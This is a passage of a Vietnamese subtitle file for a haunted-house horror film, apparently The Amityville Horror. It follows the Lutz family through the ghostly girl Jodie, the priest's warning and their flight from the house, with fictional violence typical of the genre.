00:39:57.193 --> 00:39:59.388
Sao ồn ào vậy mẹ?

00:40:00.663 --> 00:40:04.360
Không có gì đâu con

00:40:07.203 --> 00:40:10.036
Con nói cho mẹ biết chuyện gì
xảy ra với Lisa đi.

00:40:10.206 --> 00:40:13.073
Lisa không tốt với Jodie.

00:40:13.243 --> 00:40:14.642
Nên Jodie làm chị ấy đau

00:40:15.412 --> 00:40:17.573
Jodie.
Không sao đâu, mẹ

00:40:17.981 --> 00:40:20.449
Jodie không làm hại mẹ

00:40:20.884 --> 00:40:22.749
Bạn ấy nghĩ mẹ là người mẹ tốt

00:40:26.089 --> 00:40:27.954
Nhưng người đàn ông sống ở đây...

00:40:28.992 --> 00:40:31.654
...bạn ấy nói là không tốt

00:40:32.595 --> 00:40:35.359
Bạn ấy muốn chú ấy đi

00:40:35.665 --> 00:40:39.157
Chú ấy làm bạn ấy làm chuyện xấu

00:40:46.209 --> 00:40:47.574
Mang cái này...

00:40:47.744 --> 00:40:49.644
...đến đó

00:40:49.813 --> 00:40:51.144
Mau lên

00:40:56.286 --> 00:40:58.652
và không được vào đến khi
con làm xong

00:41:38.361 --> 00:41:39.885
Sao?

00:41:40.964 --> 00:41:43.797
Cái này là kỷ luật hay tra tấn?

00:41:43.967 --> 00:41:46.128
Cứ tưởng là thịt chứ

00:41:53.009 --> 00:41:56.172
Khi thân thể chịu đựng tâm hồn nở hoa

00:41:56.446 --> 00:41:58.573
Đó là điều bố con dạy

00:41:58.748 --> 00:42:02.115
Bây giờ bố không còn mà, đúng không?

00:42:12.595 --> 00:42:16.053
Billy, sao Goerge lại ngốc nghếch vậy?

00:42:16.232 --> 00:42:20.032
Hắn không những dở hơi mà còn đáng ghét

00:42:20.470 --> 00:42:22.495
và kì lạ nữa

00:42:25.742 --> 00:42:27.869
Bắt chúng

00:42:28.044 --> 00:42:30.035
Giết chúng đi

00:42:33.082 --> 00:42:35.107
Bắt chúng

00:42:35.752 --> 00:42:37.617
Giết chúng đi

00:42:45.028 --> 00:42:47.622
Bắt chúng, giết chúng

00:42:49.399 --> 00:42:51.333
Bắt chúng

00:42:51.501 --> 00:42:53.401
Giết chúng đi

00:43:10.486 --> 00:43:12.477
Giết chúng đi

00:44:28.865 --> 00:44:30.958
Không! Không, nhìn em nè.

00:44:31.134 --> 00:44:33.432
Không!
Chuyện gì vậy?

00:44:34.003 --> 00:44:36.096
Chúa ơi!
Là em đây

00:44:36.272 --> 00:44:38.399
Là em mà
Chúa ơi!

00:44:42.745 --> 00:44:45.077
Không sao đâu anh

00:44:51.854 --> 00:44:54.288
Ông có dùng ma túy không, ông Lutz?

00:44:54.457 --> 00:44:56.652
Không, nhưng sau tuần này...

00:44:56.826 --> 00:44:58.657
...tôi suy nghĩ rất nhiều

00:45:01.597 --> 00:45:04.589
Có đau đầu hay buồn nôn không?

00:45:04.767 --> 00:45:08.601
Bây giờ tôi thấy tốt lắm

00:45:09.706 --> 00:45:11.333
Thật kì lạ

00:45:12.875 --> 00:45:15.207
Không có dấu hiệu gì là bị chấn động cả

00:45:15.378 --> 00:45:17.005
Không có dấu hiệu gì cả

00:45:20.249 --> 00:45:22.740
Tôi muốn ông gọi cho bác sĩ Stone

00:45:23.786 --> 00:45:26.983
Đây là bác sĩ tâm lí mà

00:45:27.156 --> 00:45:30.182
Nhìn tôi giống điên lắm sao?
Tôi không có ý đó

00:45:30.359 --> 00:45:32.793
Tôi chỉ muốn giúp ông giải quyết vấn đề thôi

00:45:41.137 --> 00:45:42.934
Em cảm thấy như đó là lỗi của em, George.

00:45:43.106 --> 00:45:45.199
Kath.
Em là người muốn đến nơi này

00:45:45.374 --> 00:45:47.740
Em làm cho anh quá áp lực
Đây là cuộc sống...

00:45:47.910 --> 00:45:49.434
...mà anh muốn mà?

00:45:51.247 --> 00:45:54.273
Chúng ta xây dựng giấc mơ Mỹ ở đây.

00:45:54.517 --> 00:45:56.576
Được chứ? Có cách nào xuống địa ngục...

00:45:56.753 --> 00:45:58.687
... mà anh có thể đi ngay bây giờ

00:46:02.592 --> 00:46:03.820
Em yêu anh, George.

00:46:10.266 --> 00:46:12.826
Billy, em lấy gấu bông của em, được không?

00:46:13.002 --> 00:46:14.970
Nó đói lắm rồi

00:46:15.138 --> 00:46:18.164
Được rồi, đi và nhanh lên

00:46:18.341 --> 00:46:21.105
Mẹ mà biết anh cho em đi là mẹ
giết anh chết.

00:46:45.935 --> 00:46:47.266
Chào, mẹ

00:46:47.436 --> 00:46:49.734
Nhìn con nè, mẹ

00:46:49.939 --> 00:46:51.338
Chào, mẹ

00:46:54.777 --> 00:46:56.768
Chào, mẹ

00:46:57.713 --> 00:46:59.078
Ôi, Chúa ơi! Ôi, Chúa ơi!

00:46:59.248 --> 00:47:02.581
Chelsea.
Chelsea, đừng nhúc nhích, ngồi xuống đi con

00:47:03.786 --> 00:47:05.276
Chelsea.

00:47:12.395 --> 00:47:14.056
Chelsea.

00:47:16.933 --> 00:47:18.924
Giữ cái thang

00:47:19.168 --> 00:47:20.863
Đứng yên đi con

00:47:24.006 --> 00:47:25.871
Chelsea.

00:47:26.108 --> 00:47:27.507
Chelsea.

00:47:30.646 --> 00:47:33.080
Chelsea.
Trời ơi, Chelsea.

00:47:33.249 --> 00:47:36.412
Họ đi hướng nào rồi?

00:47:36.986 --> 00:47:38.476
Qua bên trái

00:47:48.497 --> 00:47:50.362
Chelsea.

00:48:09.285 --> 00:48:10.877
Con lên đây làm gì?

00:48:13.856 --> 00:48:15.289
Con đi với Jodie

00:48:15.591 --> 00:48:17.115
Con ơi...

00:48:17.293 --> 00:48:19.284
...đến với mẹ đi

00:48:20.296 --> 00:48:21.558
Không!

00:48:24.600 --> 00:48:26.227
George.

00:48:26.402 --> 00:48:28.529
Cố lên
Nhanh lên

00:48:31.774 --> 00:48:33.469
George!

00:48:33.643 --> 00:48:35.873
George, nhanh lên, Chúa ơi, em tuột tay rồi

00:48:37.546 --> 00:48:39.036
George!

00:48:39.715 --> 00:48:41.683
George!

00:48:45.621 --> 00:48:47.088
Chelsea.

00:48:48.190 --> 00:48:49.521
Sao con...
Sao con làm như vậy?

00:48:49.692 --> 00:48:51.785
Xin lỗi. Con xin lỗi

00:48:51.994 --> 00:48:53.586
Con không thể đối với mẹ như vậy.

00:48:53.763 --> 00:48:57.130
Jodie muốn cho con coi gì đó
Không có Jodie gì hết?

00:48:57.300 --> 00:48:59.234
Có mà
Không có!

00:48:59.402 --> 00:49:02.303
Con thôi đi!
Jodie có thật

00:49:03.439 --> 00:49:06.840
Jodie có thật mà
Không có thật

00:49:07.009 --> 00:49:08.977
Nói dối! Nói dối!

00:49:09.145 --> 00:49:10.806
Nói dối!

00:49:12.782 --> 00:49:14.807
Con thấy bạn ấy rồi

00:49:17.153 --> 00:49:19.212
Cô ấy muốn cho con thấy bố.

00:49:19.388 --> 00:49:21.856
Con chỉ muốn gặp bố

00:49:23.059 --> 00:49:25.152
Jodie hứa cho con gặp bố

00:49:25.328 --> 00:49:27.819
Bạn ấy nói con có thể ở
đây chơi...

00:49:27.997 --> 00:49:29.760
...mãi mãi và mãi mãi

00:49:31.701 --> 00:49:33.760
Con nhớ bố à?

00:49:33.936 --> 00:49:35.426
Vâng

00:49:35.604 --> 00:49:38.903
Con nhớ bố nhiều lắm không?
Nhiều lắm

00:49:40.710 --> 00:49:42.974
Mẹ biết con nhớ bố mà

00:49:44.246 --> 00:49:46.009
nhưng không ai gặp được bố nữa...

00:49:46.682 --> 00:49:48.616
...vì bố lên thiên đường rồi

00:49:49.952 --> 00:49:51.476
Bố ở với những thiên thần

00:49:52.922 --> 00:49:55.288
Bố ở với những thiên thần

00:49:59.462 --> 00:50:01.657
Mẹ sợ quá

00:50:12.274 --> 00:50:13.866
Có chuyện gì với mấy người vậy?

00:50:23.919 --> 00:50:25.853
Gia đình Wacko

00:50:56.352 --> 00:50:57.876
Cha Callaway?

00:50:58.487 --> 00:51:00.045
Cha ơi

00:51:00.923 --> 00:51:02.686
Kathy Lutz.

00:51:02.858 --> 00:51:04.325
Xin chào

00:51:04.927 --> 00:51:06.861
Cha có rảnh không?

00:51:11.567 --> 00:51:14.536
Gia đình con

00:51:15.004 --> 00:51:17.336
Thay đổi rồi

00:51:17.540 --> 00:51:19.701
Dường như chúng con xa cách nhau hơn

00:51:20.810 --> 00:51:22.801
Con không hiểu

00:51:26.282 --> 00:51:29.615
Có gì đó...

00:51:30.352 --> 00:51:33.412
Có gì đó ma quái trong nhà con.

00:51:37.326 --> 00:51:39.487
Con biết nghe có vẻ...

00:51:39.662 --> 00:51:41.926
... điên rồ lắm, nhưng con biết điều đó

00:51:42.098 --> 00:51:44.328
Con nghĩ nó cũng giống như nhau

00:51:45.201 --> 00:51:46.964
Con không biết đi đâu nữa

00:51:53.709 --> 00:51:55.802
Có một gia đình...

00:51:56.245 --> 00:51:57.610
...lúc trước ở đây

00:51:59.148 --> 00:52:01.446
Cũng có vấn đề tương tự

00:52:01.617 --> 00:52:03.084
Gia đình Defeos.

00:52:04.920 --> 00:52:06.615
Con biết họ à?

00:52:08.657 --> 00:52:10.420
Con sống trong nhà của họ

00:52:18.234 --> 00:52:19.929
Giữ chặt vào

00:52:20.102 --> 00:52:23.037
Nếu con run, chú cũng run đó

00:52:31.080 --> 00:52:32.741
Mau lên!

00:52:38.120 --> 00:52:39.485
Sao, cháu lại khóc?

00:52:40.656 --> 00:52:43.386
Khóc cái gì?
Có tệ quá đâu

00:52:43.893 --> 00:52:45.827
Lấy cây củi khác mau

00:52:46.195 --> 00:52:47.662
Nhanh lên, lấy cây củi khác mau

00:52:47.830 --> 00:52:49.457
Nhanh lên

00:52:51.200 --> 00:52:53.998
Để tay lên đó
Để tay lên đó

00:52:54.370 --> 00:52:55.632
Không

00:52:56.105 --> 00:52:57.732
Nhanh lên

00:52:58.707 --> 00:53:01.733
Chúng ta là bạn
Chúng ta đang chơi mà, phải không?

00:53:01.911 --> 00:53:03.378
Để tay lên đó

00:53:11.887 --> 00:53:13.821
Nhanh!

00:54:11.981 --> 00:54:14.211
Lại đây, đi con

00:54:19.622 --> 00:54:22.182
Mẹ yêu con lắm

00:54:43.379 --> 00:54:44.869
Bắt chúng.

00:54:45.047 --> 00:54:46.912
Giết chúng

00:57:38.053 --> 00:57:39.714
George.

00:57:43.525 --> 00:57:45.686
Em nghĩ có chuyện gì đó không ổn

00:57:46.895 --> 00:57:49.022
Có gì đó không đúng

00:57:50.466 --> 00:57:52.297
Cái gì không đúng?

00:57:55.871 --> 00:57:57.532
Chúng ta phải đi khỏi đây

00:57:57.706 --> 00:58:00.937
Dọn đồ và đi thôi

00:58:02.344 --> 00:58:04.505
Không, không, không

00:58:04.847 --> 00:58:07.941
Em không thể trốn chạy vấn đề được, Kath.

00:58:09.985 --> 00:58:11.612
Đi thôi, George, em xin anh.

00:58:12.421 --> 00:58:15.356
Đi đâu chứ
Em có nghe thấy không?

00:58:17.159 --> 00:58:20.026
Em nghe thấy tiếng cót két chứ?
Anh sẽ đi sửa

00:58:20.863 --> 00:58:24.230
Bởi vì, em biết không vì căn nhà này lớn quá...

00:58:25.534 --> 00:58:28.833
Lớn quá. Kath, và anh không thể đi được

00:58:36.445 --> 00:58:38.242
Sao em lại ngu ngốc như vậy?

00:58:39.515 --> 00:58:41.346
Sao?

00:58:43.418 --> 00:58:47.411
Mọi thứ chúng ta có trong căn nhà này

00:58:47.589 --> 00:58:49.580
Em không lo lắng về tiền nữa

00:58:49.825 --> 00:58:51.224
Ôi, lại là tiền

00:58:52.160 --> 00:58:54.594
George, chúng ta đang mất nhau

00:58:54.763 --> 00:58:56.697
Anh không thấy sao?

00:58:57.466 --> 00:58:59.991
Chúng ta sống trong một gia đình...

00:59:00.168 --> 00:59:02.329
...nhưng lại không phải là một gia đình

00:59:05.274 --> 00:59:07.834
Chổ này lúc nào sao cũng lạnh

00:59:09.378 --> 00:59:12.438
Anh quan tâm đến em một chút, được không?

00:59:12.614 --> 00:59:14.377
Anh không đi đâu ngay cả em cũng vậy

00:59:14.550 --> 00:59:16.017
Nên im đi!

00:59:16.585 --> 00:59:18.177
Im đi!

00:59:18.587 --> 00:59:20.077
Chết tiệt

00:59:20.589 --> 00:59:22.887
Em là người muốn căn nhà này

00:59:23.058 --> 00:59:24.389
Giờ em có rồi đó

00:59:24.560 --> 00:59:26.289
Mẹ ơi! Mẹ ơi!

00:59:26.595 --> 00:59:28.688
Gia đình đó

00:59:32.734 --> 00:59:33.962
Sao vậy con?

00:59:34.136 --> 00:59:36.400
Không tìm thấy Harry
Nó đi rồi

00:59:38.307 --> 00:59:40.298
Lát nữa mẹ sẽ kiếm với con

00:59:40.509 --> 00:59:42.500
Chú có thấy Harry không, chú George?

00:59:43.211 --> 00:59:45.202
Không, chú không thấy, Billy.

00:59:48.250 --> 00:59:49.911
Chắc nó bỏ đi rồi.

00:59:50.085 --> 00:59:51.552
Harry không bao giờ bỏ đi, chú George à.

00:59:52.621 --> 00:59:54.714
Con bị sao vậy, William?

00:59:54.890 --> 00:59:56.448
Ra ngoài mau

00:59:56.625 --> 01:00:00.721
Mau!
Tốt rồi. Đi thôi, Michael.

01:00:29.157 --> 01:00:31.853
Nhân danh Chúa, Cha, Con và thánh thần.

01:00:46.541 --> 01:00:48.270
Xin chào?
Mẹ con có nhà không?

01:00:48.443 --> 01:00:49.842
Đợi chút ạ

01:00:50.345 --> 01:00:52.438
Mẹ ơi, có ai kiếm kìa

01:00:52.614 --> 01:00:54.138
Ai vậy con?

01:00:55.884 --> 01:00:57.181
Mời cha vào

01:01:07.129 --> 01:01:08.858
Chuyện này tuy lạ...

01:01:09.031 --> 01:01:12.831
...nhưng con có để ý con gấu
còn một mắt mà con bé cầm?

01:01:13.135 --> 01:01:16.298
Nó là của cô bé sống trong nhà trước đây

01:01:16.672 --> 01:01:18.572
Vâng, nó được để lại

01:01:18.740 --> 01:01:21.709
Không, bà Lutz, nó không bị bỏ lại

01:01:24.446 --> 01:01:26.971
Cha muốn nói gì à?

01:01:27.149 --> 01:01:30.744
Ta biết gia đình Defeo rất rõ
ta làm đám tang cho họ

01:01:31.353 --> 01:01:33.878
Jodie Defeo được chôn chung với con gấu

01:01:44.533 --> 01:01:45.761
Ôi, Thượng đế

01:01:47.502 --> 01:01:49.493
Chúa toàn năng...

01:01:53.942 --> 01:01:56.376
...con mong người ban phước...

01:01:57.979 --> 01:02:00.607
...cho gia đình này

01:02:02.684 --> 01:02:07.712
Cho những ai sống ở đây
phước lành...

01:02:08.223 --> 01:02:13.092
...và mang cho họ may mắn, tai qua nạn khỏi.

01:03:06.615 --> 01:03:09.311
Đi ra

01:03:13.355 --> 01:03:15.016
Cha!

01:03:15.190 --> 01:03:16.851
Cha ơi!

01:03:20.095 --> 01:03:21.585
Sao cha bỏ chúng con?

01:03:22.264 --> 01:03:24.027
Có chuyện gì vậy?

01:03:29.938 --> 01:03:33.772
Không sao, có anh đây

01:03:56.331 --> 01:03:58.390
Bắt chúng

01:03:58.567 --> 01:04:00.091
Giết chúng

01:04:06.374 --> 01:04:09.275
Khốn khiếp, Harry!

01:04:11.246 --> 01:04:12.838
Bắt chúng

01:04:14.883 --> 01:04:16.510
Giết chúng

01:04:43.378 --> 01:04:45.437
Bắt chúng

01:04:46.815 --> 01:04:48.874
Giết chúng

01:04:49.718 --> 01:04:51.811
Bắt chúng

01:05:26.521 --> 01:05:28.580
Ở đây có tội ác. Giết người

01:05:28.857 --> 01:05:30.290
Anh biết, thị trấn này đã thay đổi

01:05:30.458 --> 01:05:35.361
Nhưng chuyện đã lâu rồi và ngôi nhà không sao

01:05:46.942 --> 01:05:49.467
Một lát nữa chúng tôi mới mở cửa

01:06:04.125 --> 01:06:06.320
''Giọng nói xúi giục anh ta
làm điều đó''

01:06:10.332 --> 01:06:13.130
''Anh ta vừa dọn vào tầng hầm''

01:06:15.136 --> 01:06:17.502
''28 ngày sau anh ta giết sạch mọi người''

01:06:31.052 --> 01:06:32.280
Ôi, Chúa ơi

01:07:23.271 --> 01:07:26.069
"Reverend Jeremiah Ketcham. "

01:07:36.918 --> 01:07:39.580
''Ông ta bắt đầu nhiệm vụ với người da đỏ''

01:08:26.201 --> 01:08:28.328
''Ông ta giết sạch họ''

01:08:40.982 --> 01:08:44.418
''Hơn 20 xác chết tìm thấy dưới hồ.''

01:09:01.870 --> 01:09:03.633
Bắt chúng

01:09:05.974 --> 01:09:07.965
Giết chúng

01:09:35.904 --> 01:09:37.565
Cha ơi!

01:09:38.640 --> 01:09:40.733
Sao cha lại bỏ chạy?

01:09:43.745 --> 01:09:45.736
Sao cha bỏ chúng con?

01:09:46.347 --> 01:09:49.646
Ngôi nhà làm ta sợ, bà Lutz.

01:09:52.420 --> 01:09:56.584
Tôi vừa mới đọc về Ketcham...

01:09:57.158 --> 01:10:01.390
...người tra tấn người da đỏ trong
đất của tôi, trong hầm của tôi

01:10:06.601 --> 01:10:09.297
Tôi đọc thấy ông ta tự cắt cổ...

01:10:09.470 --> 01:10:12.030
...để ông ta có thể hiện diện mãi mãi

01:10:12.207 --> 01:10:14.539
Cha có tin điều này là thật?

01:10:14.876 --> 01:10:18.175
Ronnie Defeo đến gặp ta một tuần
trước khi có vụ giết người...

01:10:18.346 --> 01:10:23.374
...và anh ta nói nghe thấy có tiếng nói

01:10:23.952 --> 01:10:26.216
Tôi đã không tin cho đến hôm qua

01:10:28.223 --> 01:10:32.683
Bà Lutz, hãy mau đưa gia đình...

01:10:32.860 --> 01:10:34.191
...đi khỏi bây giờ.

01:10:47.609 --> 01:10:48.837
Alô?
George.

01:10:49.010 --> 01:10:51.308
George, em vừa gặp cha Callaway.

01:10:51.479 --> 01:10:54.471
Anh và bọn trẻ đi mau đi

01:10:55.617 --> 01:10:57.084
George?

01:10:58.419 --> 01:10:59.943
Anh còn đó không, George?

01:11:13.534 --> 01:11:17.937
Billy! Michael! George đâu?

01:11:18.106 --> 01:11:20.233
Trong nhà thuyền

01:11:37.925 --> 01:11:41.156
George, chúng ta đi thôi

01:11:41.329 --> 01:11:42.921
George!

01:12:22.737 --> 01:12:24.671
Anh điên hả, George?

01:12:24.906 --> 01:12:26.498
Anh điên rồi hả?

01:12:26.674 --> 01:12:28.232
Anh muốn giết em à

01:12:33.481 --> 01:12:36.314
Chelsea!
Mẹ ơi! Mẹ ơi!

01:12:36.484 --> 01:12:37.849
Con dưới đây nè, mẹ!

01:12:39.187 --> 01:12:41.747
Chelsea, con làm gì dưới đó?

01:13:09.884 --> 01:13:11.511
Con nhớ bố à

01:13:14.822 --> 01:13:16.380
Đúng không?

01:13:17.759 --> 01:13:19.590
Trả con cho em

01:13:25.299 --> 01:13:29.133
Anh muốn nói chuyện
Đợi đã!

01:13:30.004 --> 01:13:32.438
Xuống đây mau đi, các con!

01:13:32.607 --> 01:13:34.438
Xuống mau đi!

01:13:34.609 --> 01:13:36.975
Billy, giúp mẹ đẩy đi!
Mẹ đi đâu vậy?

01:13:40.481 --> 01:13:42.039
Billy!

01:13:43.284 --> 01:13:44.546
Nhanh lên. Đi
Billy!

01:13:46.154 --> 01:13:47.951
Sao mẹ ướt vậy?

01:13:49.290 --> 01:13:51.554
Mẹ ơi! Mẹ ơi!

01:13:53.728 --> 01:13:55.491
Đi đi mẹ!

01:13:57.031 --> 01:13:58.362
Nhanh lên

01:13:59.100 --> 01:14:01.534
Billy, đi thôi!

01:14:15.850 --> 01:14:17.545
Chạy đi! Chạy, chạy, chạy!

01:14:20.354 --> 01:14:21.981
Chúng ta bị kẹt rồi! Chúng ta bị kẹt rồi!

01:14:22.423 --> 01:14:24.050
Ở đây!

01:14:26.627 --> 01:14:27.855
Tuyệt lắm!

01:14:28.696 --> 01:14:32.496
Bỏ mẹ tôi ra, đồ khốn!
Bỏ mẹ tôi ra mau! Chúng ta đi thôi

01:14:37.071 --> 01:14:39.767
Có chuyện gì vậy?
Đi thôi

01:14:40.775 --> 01:14:42.538
Chúng điên rồi

01:14:45.213 --> 01:14:48.011
Mẹ, nó bị kẹt rồi!
Nó không mở được!

01:14:50.318 --> 01:14:52.149
Chelsea đâu? Chelsea!

01:15:05.666 --> 01:15:10.126
Nhanh lên, nhanh lên, Billy. Nhanh lên
Nhanh lên, đi thôi. Im lặng nào, im lặng nào

01:15:54.882 --> 01:15:56.747
Billy!

01:16:42.496 --> 01:16:44.794
Bám chặt vào con

01:16:55.610 --> 01:16:57.305
Nhảy đi con

01:16:59.680 --> 01:17:01.011
Nhanh lên con
Nhanh lên

01:17:01.182 --> 01:17:02.809
Nhảy đi, Michael.
Không, mẹ ơi

01:17:02.984 --> 01:17:04.975
Không
Nhanh lên con

01:17:05.953 --> 01:17:08.353
Mau lên, Michael.
Mau lên, Michael.

01:17:09.557 --> 01:17:11.286
Mau lên, nhanh lên
Đi khỏi đây thôi

01:17:14.128 --> 01:17:16.653
Đến đây. Đến đây
Không

01:17:19.467 --> 01:17:21.799
Hãy để nó đi đi

01:17:25.940 --> 01:17:27.532
Giết nó

01:17:28.409 --> 01:17:30.138
Đừng làm hại nó!

01:17:32.146 --> 01:17:34.307
Lùi lại!

01:18:16.223 --> 01:18:17.656
Giết chúng

01:18:25.633 --> 01:18:28.329
Nhanh lên. Lấy dây thừng đi nhanh lên

01:18:30.271 --> 01:18:32.171
Giết chúng

01:18:50.791 --> 01:18:53.692
Kathy, giết anh đi!

01:18:54.395 --> 01:18:56.420
Giết anh đi không thì anh sẽ giết em đó!

01:18:56.731 --> 01:18:58.961
Hôm nay không có ai chết cả

01:19:20.888 --> 01:19:23.755
Được rồi, đưa chú ấy lên thuyền đi

01:19:47.915 --> 01:19:50.076
Đem chú ấy đi làm gì?
Bỏ chú ấy ở lại đi

01:19:50.251 --> 01:19:53.618
Mẹ không thể giải thích được
nhưng chúng ta phải đưa chú ấy đi

01:20:52.413 --> 01:20:54.574
Đừng có nhìn lại, Kathy.

01:20:54.815 --> 01:20:56.305
Đi khỏi đây thôi

ZeroDay Forums Mini